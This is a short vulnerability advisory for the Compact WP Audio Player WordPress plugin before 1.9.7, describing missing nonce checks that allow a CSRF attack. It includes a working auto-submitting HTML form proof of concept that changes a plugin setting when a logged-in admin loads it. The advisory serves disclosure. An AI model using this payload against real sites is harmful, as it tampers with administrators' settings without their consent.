Compact WP Audio Player < 1.9.7 - Setting Change via CSRF

2021-09-1500:00:00

apple502j

270

0.001 Low

EPSS

Percentile

27.6%

JSON

The plugin does not implement nonce checks, which could allow attackers to make a logged in admin change the “Disable Simultaneous Play” setting via a CSRF attack.

<form action="https://example.com/wp-admin/options-general.php?page=compact-wp-audio-player%2Fsc_audio_player.php" method="post" id="csrf">
<input name="sc_audio_player_settings" value="1" type="hidden">
<input name="sc_audio_disable_simultaneous_play" value="1" type="hidden">
</form>
<script>csrf.submit()</script>

0.001 Low

EPSS

Percentile

27.6%

JSON

Related for WPEX-ID:DCBCF6E7-E5B3-498B-9F5E-7896D309441F